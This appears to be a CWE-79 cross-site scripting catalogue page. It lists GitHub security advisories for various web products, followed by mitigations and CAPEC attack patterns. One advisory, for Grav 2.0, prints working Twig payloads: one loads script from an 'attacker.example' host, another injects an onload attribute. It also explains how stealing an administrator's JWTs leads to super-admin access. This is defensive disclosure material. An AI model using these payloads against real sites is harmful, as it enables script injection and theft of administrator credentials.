CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68875 vulnerabilities reference this CWE, most recent first.
GHSA-8HFV-PG8M-25FG
Vulnerability from github – Published: 2022-04-30 18:22 – Updated: 2022-04-30 18:22Cross-site scripting (XSS) vulnerability in configure.asp in Script-Shed GuestBook 1.0 allows remote attackers to inject arbitrary web script or HTML via a javascript: URL in (1) image, (2) img, (3) image=right, (4) img=right, (5) image=left, and (6) img=left tags.
{
"affected": [],
"aliases": [
"CVE-2002-2339"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2002-12-31T05:00:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in configure.asp in Script-Shed GuestBook 1.0 allows remote attackers to inject arbitrary web script or HTML via a javascript: URL in (1) image, (2) img, (3) image=right, (4) img=right, (5) image=left, and (6) img=left tags.",
"id": "GHSA-8hfv-pg8m-25fg",
"modified": "2022-04-30T18:22:59Z",
"published": "2022-04-30T18:22:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2002-2339"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2003-10/0009.html"
},
{
"type": "WEB",
"url": "http://online.securityfocus.com/archive/1/294299"
},
{
"type": "WEB",
"url": "http://www.iss.net/security_center/static/10331.php"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/5915"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8HG3-P9WW-QWJC
Vulnerability from github – Published: 2024-12-10 21:30 – Updated: 2025-01-15 00:30Adobe Connect versions 12.6, 11.4.7 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
{
"affected": [],
"aliases": [
"CVE-2024-54036"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-10T21:15:20Z",
"severity": "HIGH"
},
"details": "Adobe Connect versions 12.6, 11.4.7 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u2019s browser when they browse to the page containing the vulnerable field.",
"id": "GHSA-8hg3-p9ww-qwjc",
"modified": "2025-01-15T00:30:40Z",
"published": "2024-12-10T21:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54036"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/connect/apsb24-99.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8HG7-P3VV-GX38
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2024-04-04 01:44The pdf-print plugin before 2.0.3 for WordPress has multiple XSS issues.
{
"affected": [],
"aliases": [
"CVE-2018-20970"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-21T19:15:00Z",
"severity": "MODERATE"
},
"details": "The pdf-print plugin before 2.0.3 for WordPress has multiple XSS issues.",
"id": "GHSA-8hg7-p3vv-gx38",
"modified": "2024-04-04T01:44:24Z",
"published": "2022-05-24T16:54:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20970"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/pdf-print/#developers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8HGH-2MPG-3CVM
Vulnerability from github – Published: 2025-07-07 15:30 – Updated: 2025-07-07 15:30Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Mediawiki - UrlShortener Extension allows Stored XSS.This issue affects Mediawiki - UrlShortener Extension: from 1.42.X before 1.42.7, from 1.43.X before 1.43.2.
{
"affected": [],
"aliases": [
"CVE-2025-7056"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-07T14:15:25Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in Wikimedia Foundation Mediawiki - UrlShortener Extension allows Stored XSS.This issue affects Mediawiki - UrlShortener Extension: from 1.42.X before 1.42.7, from 1.43.X before 1.43.2.",
"id": "GHSA-8hgh-2mpg-3cvm",
"modified": "2025-07-07T15:30:38Z",
"published": "2025-07-07T15:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7056"
},
{
"type": "WEB",
"url": "https://gerrit.wikimedia.org/r/c/mediawiki/extensions/UrlShortener/+/1166268"
},
{
"type": "WEB",
"url": "https://phabricator.wikimedia.org/T394869"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8HGM-54V7-VQJ3
Vulnerability from github – Published: 2023-09-04 12:30 – Updated: 2024-04-04 07:25Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in SAASPROJECT Booking Package Booking Package plugin <= 1.6.01 versions.
{
"affected": [],
"aliases": [
"CVE-2023-39918"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-04T11:15:40Z",
"severity": "MODERATE"
},
"details": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in SAASPROJECT Booking Package Booking Package plugin \u003c=\u00a01.6.01 versions.",
"id": "GHSA-8hgm-54v7-vqj3",
"modified": "2024-04-04T07:25:30Z",
"published": "2023-09-04T12:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39918"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/booking-package/wordpress-booking-package-plugin-1-6-01-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8HGV-XC77-JMCR
Vulnerability from github – Published: 2026-08-21 19:14 – Updated: 2026-08-21 19:14Summary
Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists addcss and addjs on Grav\Common\Assets (system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307). Because the sandbox arbitrates the call and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a <script src> / <link href> tag. The asset URL is concatenated into that tag without escaping, so it can also break out of its own attribute.
The save-time XSS scan cannot see this: Security::detectXssInEditorContent() renders the content body in isolation and inspects the returned string, while assets.addJs() acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.
This is not a Security::detectXss() bypass. It is content reaching an unescaped output sink through an allowlisted method.
Affected versions
All Grav 2.0 releases whose sandbox policy allowlists addcss/addjs on Grav\Common\Assets. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from system/config/security.yaml into SandboxDefaults in 2.0.19.
Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page process: twig.
Details
Reachable by a plain page editor, with no Twig permission and no configuration change. On a stock install security.twig_content.process_enabled is true and system/config/system.yaml ships process: { markdown: true } with no twig key, so Security::applyTwigContentDefault() defaults every page's process.twig to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. security.twig_content.editor_enabled: false and the admin.pages_twig permission gate only the per-page override checkbox in the editor — they do not gate whether Twig runs.
The sink. Assets/Js.php:46 (and identically Css.php:50, Link.php:41, JsModule.php:47) builds the tag by concatenation with no escaping:
return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . ...
For any remote asset, BaseAsset::init() stores the caller's string verbatim. Two working variants follow:
- External script inclusion —
{{ assets.addJs('https://attacker.example/poc.js') }} - Attribute injection with no attacker-controlled host —
{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}, becauseunifyLegacyArguments()passes a second array argument straight into the tag's attributes and attribute names are not filtered. The same effect is reachable by embedding a quote in the URL itself.
Timing. Twig::processSite() resolves $page->content() before rendering the theme template, so the registration lands before the head is emitted.
javascript: and data: URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.
Impact
Persistent script execution on the site's own origin for every visitor of the affected page — including administrators, which makes this a page-editor-to-super-admin escalation:
- Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with
sandbox="allow-same-origin allow-scripts allow-forms", so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (plugins.api.protect_frontend_session) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this. - Admin-Next persists the administrator's API access and refresh JWTs in
localStorageon that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view. - An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.
Patches
Fixed in Grav 2.0.20:
addcss/addjsremoved from theGrav\Common\Assetssandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods throughsecurity.twig_sandbox.allowed_methods, which is additive over the shipped defaults.- Asset URLs are now HTML-escaped at every render site (
Js,Css,Link,JsModule, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.
Operators who cannot upgrade immediately can tighten the policy in user/config/security.yaml:
twig_sandbox:
denied_methods:
- class: Grav\Common\Assets
methods: 'addcss, addjs'
Credits
Reported by Ahmed Ibrahim (@skeletonsec).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.19"
},
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T19:14:59Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nGrav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists `addcss` and `addjs` on `Grav\\Common\\Assets` (`system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307`). Because the sandbox arbitrates the *call* and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a `\u003cscript src\u003e` / `\u003clink href\u003e` tag. The asset URL is concatenated into that tag **without escaping**, so it can also break out of its own attribute.\n\nThe save-time XSS scan cannot see this: `Security::detectXssInEditorContent()` renders the content body in isolation and inspects the returned string, while `assets.addJs()` acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.\n\nThis is not a `Security::detectXss()` bypass. It is content reaching an unescaped output sink through an allowlisted method.\n\n## Affected versions\n\nAll Grav 2.0 releases whose sandbox policy allowlists `addcss`/`addjs` on `Grav\\Common\\Assets`. The entry predates 2.0.19 \u2014 it was carried forward unchanged when the sandbox allowlists moved from `system/config/security.yaml` into `SandboxDefaults` in 2.0.19.\n\nGrav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page `process: twig`.\n\n## Details\n\n**Reachable by a plain page editor, with no Twig permission and no configuration change.** On a stock install `security.twig_content.process_enabled` is `true` and `system/config/system.yaml` ships `process: { markdown: true }` with no `twig` key, so `Security::applyTwigContentDefault()` defaults every page\u0027s `process.twig` to the gate\u0027s value. Content Twig therefore runs on every page that does not explicitly set the flag. `security.twig_content.editor_enabled: false` and the `admin.pages_twig` permission gate only the per-page *override checkbox* in the editor \u2014 they do not gate whether Twig runs.\n\n**The sink.** `Assets/Js.php:46` (and identically `Css.php:50`, `Link.php:41`, `JsModule.php:47`) builds the tag by concatenation with no escaping:\n\n```php\nreturn \u0027\u003cscript src=\"\u0027 . trim($this-\u003easset) . $this-\u003erenderQueryString() . \u0027\"\u0027 . $this-\u003erenderAttributes() . ...\n```\n\nFor any remote asset, `BaseAsset::init()` stores the caller\u0027s string verbatim. Two working variants follow:\n\n1. External script inclusion \u2014 `{{ assets.addJs(\u0027https://attacker.example/poc.js\u0027) }}`\n2. Attribute injection with **no attacker-controlled host** \u2014 `{{ assets.addJs(\u0027/user/themes/quark/js/site.js\u0027, {\u0027onload\u0027:\u0027alert(1)\u0027}) }}`, because `unifyLegacyArguments()` passes a second array argument straight into the tag\u0027s attributes and attribute *names* are not filtered. The same effect is reachable by embedding a quote in the URL itself.\n\n**Timing.** `Twig::processSite()` resolves `$page-\u003econtent()` before rendering the theme template, so the registration lands before the head is emitted.\n\n`javascript:` and `data:` URLs are not exploitable \u2014 they are treated as local paths and dropped when the file does not exist.\n\n## Impact\n\nPersistent script execution on the site\u0027s own origin for every visitor of the affected page \u2014 **including administrators**, which makes this a page-editor-to-super-admin escalation:\n\n- Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with `sandbox=\"allow-same-origin allow-scripts allow-forms\"`, so simply previewing the editor\u0027s page executes the payload on the admin panel\u0027s origin. The existing preview session isolation (`plugins.api.protect_frontend_session`) only suppresses server-side session start to protect a visitor\u0027s front-end session; it does not isolate the origin and does not prevent this.\n- Admin-Next persists the administrator\u0027s API **access and refresh JWTs** in `localStorage` on that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view.\n- An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.\n\n## Patches\n\nFixed in Grav 2.0.20:\n\n- `addcss`/`addjs` removed from the `Grav\\Common\\Assets` sandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods through `security.twig_sandbox.allowed_methods`, which is additive over the shipped defaults.\n- Asset URLs are now HTML-escaped at every render site (`Js`, `Css`, `Link`, `JsModule`, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.\n\nOperators who cannot upgrade immediately can tighten the policy in `user/config/security.yaml`:\n\n```yaml\ntwig_sandbox:\n denied_methods:\n - class: Grav\\Common\\Assets\n methods: \u0027addcss, addjs\u0027\n```\n\n## Credits\n\nReported by Ahmed Ibrahim (@skeletonsec).",
"id": "GHSA-8hgv-xc77-jmcr",
"modified": "2026-08-21T19:14:59Z",
"published": "2026-08-21T19:14:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-8hgv-xc77-jmcr"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/a4e8c4b748eb338ee7ab1dd26e7620a93bade047"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/releases/tag/2.0.20"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox\u0027s assets.addJs/addCss allowlist, escalating to super-admin"
}
GHSA-8HHC-W6W2-395C
Vulnerability from github – Published: 2022-05-17 02:29 – Updated: 2022-05-17 02:29Microsoft Exchange Server 2010 SP3, Exchange Server 2013 SP3, Exchange Server 2013 CU16, and Exchange Server 2016 CU5 allows an elevation of privilege vulnerability due to the way that Exchange Outlook Web Access (OWA) handles web requests, aka "Microsoft Exchange Cross-Site Scripting Vulnerability". This CVE ID is unique from CVE-2017-8559.
{
"affected": [],
"aliases": [
"CVE-2017-8560"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-11T21:29:00Z",
"severity": "MODERATE"
},
"details": "Microsoft Exchange Server 2010 SP3, Exchange Server 2013 SP3, Exchange Server 2013 CU16, and Exchange Server 2016 CU5 allows an elevation of privilege vulnerability due to the way that Exchange Outlook Web Access (OWA) handles web requests, aka \"Microsoft Exchange Cross-Site Scripting Vulnerability\". This CVE ID is unique from CVE-2017-8559.",
"id": "GHSA-8hhc-w6w2-395c",
"modified": "2022-05-17T02:29:36Z",
"published": "2022-05-17T02:29:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8560"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8560"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/99449"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038852"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8HHJ-Q97Q-8VH4
Vulnerability from github – Published: 2024-09-11 12:30 – Updated: 2024-09-11 12:30The Elementor Website Builder – More than Just a Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the url parameter of multiple widgets in all versions up to, and including, 3.23.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in Elementor Editor pages. This was partially patched in version 3.23.2.
{
"affected": [],
"aliases": [
"CVE-2024-5416"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-11T12:15:02Z",
"severity": "MODERATE"
},
"details": "The Elementor Website Builder \u2013 More than Just a Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the url parameter of multiple widgets in all versions up to, and including, 3.23.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in Elementor Editor pages. This was partially patched in version 3.23.2.",
"id": "GHSA-8hhj-q97q-8vh4",
"modified": "2024-09-11T12:30:52Z",
"published": "2024-09-11T12:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5416"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/elementor/tags/3.21.8/includes/widgets/image.php#L820"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/elementor/tags/3.21.8/includes/widgets/social-icons.php#L659"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/elementor/tags/3.21.8/includes/widgets/testimonial.php#L608"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/elementor/tags/3.21.8/includes/widgets/traits/button-trait.php#L523"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3123936"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3149264"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a99a64f7-1ea8-4de6-b24f-1f69bf25c1f5?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8HHP-7VHR-3RR6
Vulnerability from github – Published: 2022-05-17 02:30 – Updated: 2022-05-17 02:30IBM WebSphere Portal 8.5 and 9.0 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM Reference #: 2000152.
{
"affected": [],
"aliases": [
"CVE-2017-1120"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-27T22:59:00Z",
"severity": "MODERATE"
},
"details": "IBM WebSphere Portal 8.5 and 9.0 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM Reference #: 2000152.",
"id": "GHSA-8hhp-7vhr-3rr6",
"modified": "2022-05-17T02:30:41Z",
"published": "2022-05-17T02:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1120"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg22000152"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97075"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038146"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8HHW-PG9J-8772
Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2024-01-01 00:30A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server, aka 'Microsoft Office SharePoint XSS Vulnerability'. This CVE ID is unique from CVE-2020-1198, CVE-2020-1227, CVE-2020-1482, CVE-2020-1514, CVE-2020-1575.
{
"affected": [],
"aliases": [
"CVE-2020-1345"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-11T17:15:00Z",
"severity": "MODERATE"
},
"details": "A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server, aka \u0027Microsoft Office SharePoint XSS Vulnerability\u0027. This CVE ID is unique from CVE-2020-1198, CVE-2020-1227, CVE-2020-1482, CVE-2020-1514, CVE-2020-1575.",
"id": "GHSA-8hhw-pg9j-8772",
"modified": "2024-01-01T00:30:41Z",
"published": "2022-05-24T17:28:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1345"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1345"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
